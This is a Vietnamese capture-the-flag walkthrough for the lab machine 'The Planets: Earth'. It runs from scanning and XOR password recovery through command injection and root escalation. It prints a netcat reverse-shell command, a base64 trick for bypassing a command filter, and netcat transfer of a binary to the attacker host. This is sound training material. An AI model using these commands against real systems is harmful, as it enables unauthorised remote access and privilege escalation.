Download THE PLANETS: EARTH
Level: Easy
Scanning
Tiến hành scan ip máy chủ mục tiêu
1
sudo netdiscover -i eth0 -r 10.0.2.0/24
Target IP là 10.0.2.6
. Tiến hành scan all ports:
1
nmap -sC -sV 10.0.2.6 -p- -A -T4
Chúng ta có thể thấy có 3 port đang mở: 22, 80 và 443. Ngoài ra, phát hiện thêm có domain name earth.local
và subdomain terratest.earth.local
.
Truy cập ip máy chủ web cổng 80 và 443 thấy không có gì đặc biệt. Nhưng từ ssl certificate ta khai được ở trên, có thể thêm 2 entries này vào /etc/hosts
và truy cập.
1
echo "10.0.2.6 earth.local" >> /etc/hosts && echo "10.0.2.6 terratest.earth.local" >> /etc/hosts
Enumeration
Ở trang earth.local
phía dưới có 4 dòng message đã được encrypted, liệu có gì ẩn ý trong đây. Vẫn chưa tìm thấy đủ thông tin nên ta tiếp tục khai thác, tiến hành enumerate directories ở cả 2 domain.
Ta tìm được trang admin login và 1 trang robots.txt. Truy cập https://terratest.earth.local/robots.txt xem thu thập được manh mối nào không.
Enum các extension cho file này, cuối cùng nhận được response 200 từ testingnotes.txt
.
Từ notes trên ta có thể xác định được rằng thuật toán mã hóa message sử dụng XOR, và nội dung file testdata.txt
có thể là key. Ngoài ra, xác định được username của admin là terra
.
Ném từng cái encrypted message vào XOR với key (nội dung file testdata.txt
trên).
=> Thu được 1 chuỗi lặp lại “earthclimatechangebad4humans
”. Dùng chuỗi này làm password cho user terra
để đăng nhập trang /admin
Login admin thành công! Tại đây có thể chạy câu lệnh từ input và click Run command
sẽ trả về kết quả.
1
find / -name 'user_flag.txt' -exec cat {} \;
User Flag: [user_flag_3353b67d6437f07ba7d34afd7d2fc27d]
RCE
Tạo 1 listener trên port 9005
1
nc -nlvp 9005
Thử spawn reverse shell nc 10.0.2.15 9005 -e /bin/bash
.
Bị forbidden ư? Làm thế nào để bypass đây. Chợt nhớ ra ta có thể bypass kí tự đặc biệt bằng cách encode base64 câu lệnh, decode và đồng thời đưa nó vào shell thực thi thông qua pipeline |
.
1
2
3
┌──(kali㉿kali)-[~]
└─$ echo "nc 10.0.2.15 9005 -e /bin/bash" | base64
bmMgMTAuMC4yLjE1IDkwMDUgLWUgL2Jpbi9iYXNoCg==
Spawn Reverse Shell
1
echo "bmMgMTAuMC4yLjE1IDkwMDUgLWUgL2Jpbi9iYXNoCg==" | base64 -d | bash
RCE thành công! Nhiệm vụ tiếp theo là leo root và tìm root flag.
Privilege Escalation
apache
là user hiện tại, mục tiêu của chúng ta là leo lên quyền cao nhất - root.
Đầu tiên, liệt kê tất cả các file có suid
1
find / -perm -u=s 2>/dev/null
Check thấy 1 file lạ reset_root
, nhìn cũng có vẻ hấp dẫn
Phân tích thấy đây là 1 file thực thi và có chức năng reset password cho root
.
Chạy thử và bị failed
Để phân tích được rõ ràng hơn, ta sẽ sử dụng ltrace
.
Nhưng trước tiên phải truyền file reset_root
về máy local để phân tích. Searching 1 lúc thấy netcat
có thể làm được điều này. Đọc thêm tại đây
Tại máy local
1
nc -l -p 1234 -q 1 > reset_root < /dev/null
Tại máy gửi
1
cat /usr/bin/reset_root | netcat 10.0.2.15 1234
Sau khi transfer thành công, thêm quyền thực thi và dùng ltrace
phân tích ta thu được:
Hóa ra là máy chủ chỉ kiểm tra các file mình khoanh đỏ ở trên có tồn tại hay không thôi, nếu tồn tại, các câu lệnh phía dưới sẽ được thực thi, và mật khẩu root sẽ được reset về Earth
.
Giờ quay lại máy chủ mục tiêu và tạo các file đó, sau đó chạy lại file thực thi.
Quào, su root
với password là Earth
và get root flag thoaiii
Root Flag: [root_flag_b0da9554d29db2117b02aa8b66ec492e]